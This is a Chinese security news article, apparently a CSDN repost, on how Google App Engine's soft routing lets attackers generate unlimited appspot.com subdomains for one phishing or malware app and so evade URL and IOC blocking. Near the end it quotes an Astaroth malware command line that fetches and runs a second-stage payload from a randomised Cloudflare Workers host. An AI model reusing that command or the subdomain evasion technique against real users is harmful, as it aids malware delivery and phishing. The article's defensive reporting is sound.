Google App Engine 功能被滥用于创建无限制的钓鱼页面-CSDN博客

聚焦源代码安全，网罗国内外最新资讯！

编译：奇安信代码卫士团队

研究人员发现一种新型技术，可滥用谷歌的 App Engine 域名在实施钓鱼和传播恶意软件的同时，逃过领先企业安全产品的检测。

Google App Engine 是一个基于云的服务平台，用于在谷歌服务器上开发和托管 Web 应用。虽然利用企业云域名的钓鱼活动已屡见不鲜，但使 Google App Engine基础设施存在风险的原因在于子域名生成和路径路由的方式。

一款 app 具有数量无限的子域名

一般而言，诈骗者使用云服务创建可获得子域名的一款恶意 app用于托管钓鱼页面，或者将该 app 用作命令和控制服务器，传播恶意软件payload。但通常 URL 结构的生成方式是，在必要时使用企业安全产品可以监控并拦截这些URL。例如，托管在微软 Azure 服务上的恶意 app的URL结构可能是https://example-subdomain.app123.web.core.windows.net/...。因此，网络安全专业人员仅通过拦截该子域名的请求就可拦截进出该 app 的流量。这样做并不会阻止和余下使用其它子域名的微软 Azure 应用的通信。

但在 Google App Engine的案例中，情况变得更加复杂。

安全研究员 Marcel Afrahim 展示了Google App Engine子域名生成器的规划设计，它可被滥用于恶意利用该 app 基础设施，而这一切均不会被检测到。

托管 app 的谷歌 appspot.com 域名具有如下的 URL 结构：

VERSION-dot-SERVICE-dot-PROJECT_ID.REGION_ID.r.appspot.com

在这种情况下，子域名无法表示一款 app，它表示的是一款 app 的版本、服务名称、项目ID和区域ID字段。

但最值得注意的是，如果上述任意字段是不正确的，那么Google App Engine 无法展示 404 Not Found页面，而是会展示该 appde “默认”页面（一种被称为 soft routing的概念）。

Afrahim 表示，“针对目标服务中配置用于流量的任何版本都会收到请求。如果目标任务不存在，则该请求将进行软路由……如果请求和主机名中的 PROJECT_ID.REGION_ID.r.appspot.com 部分匹配，但包含不存在的服务、版本或实例名称，则该请求被路由到默认服务，而这实际上是这款app的默认主机名。”

从本质上讲，这意味着有很多子域名序列进入攻击者的恶意 app。只要每个子域名都具有有效的“project_ID”字段，那么攻击者就能随意使用其它字段的无效变体生成一长串子域名，而它们都指向相同的 app。

例如，如 Afrahim 所示，如下的两个URL虽然看似很不相同，但代表着托管在 Google App Engine上的同一个 app：

https://random123-random123-random123-dot-bad-app-2020.ue.r.appspot.com

https://insertanythingyouwanthere-xyz123-xyz123-dot-bad-app-2020.ue.r.appspot.com

“经 Google Trust Services验证”意味着受所有人信任

单一恶意 app由该子域名的多个序列表示，使得系统管理员和安全专业人员难以拦截恶意活动。但更进一步，对于不精通技术的用户而言，所有这些子域名都看似是一个“安全站点”。毕竟，域名 appspot.com 及其所有子域名的 SSL 证书上都有“Google TrustServices”的字样。

更进一步，多数企业安全解决措施如赛门铁克 WebPulse 网络过滤器自动允许流量流入受信任的分类站点。谷歌域名 appspot.com 所具有的声誉和合法的企业用例，获得“Office/BusinessApplications”标记，跳过了 web 代理的审查。

在顶部，大量子域名变体将基于 IOCs 的拦截方法认定为无用。Afrahim 创建的一款测试 app 的截屏附带详细的“如何做”演示了这种行为。

过去，Cloudflare 域名生成过程中含有类似的设计缺陷，可导致 Astaroth 恶意软件通过如下命令在提取第2阶段的 payload 进行利用：

%ComSpec% /c “echo GetObject(“script:hxxps://xsw%RANDOM%nnccccmd95c22[.]cloudflareworkers[.]com/.edgeworker-fiddle-init-preview/6a8db783ccc67c314de2767f33605caec2262527cbed408b4315c2e2d54cf0371proud-glade-92ec.ativadormasterplus.workers.dev/?09/”)” >%temp%\Lqncxmm:vbvvjjh.js && start wscript.exe%temp%\Lqncxmm:vbvvjjh.js”

这实际上启动了一个 Windows 命令提示符，并使用随机数替换 %RANDOM%，从而使 payload URL 真正具有动态性。

研究人员表示，“现在你具有了一个每当运行时就会从不同的 URL 主机名中下载 payload 的脚本，它将导致这类假设样本的Network IOC 完全无用。依靠沙盒上的单个运行来获得自动化 IOC 的解决方案将获得一个新的 Network IOC，而如果稍微修改下该脚本，则可能获得一个新的文件IOC。”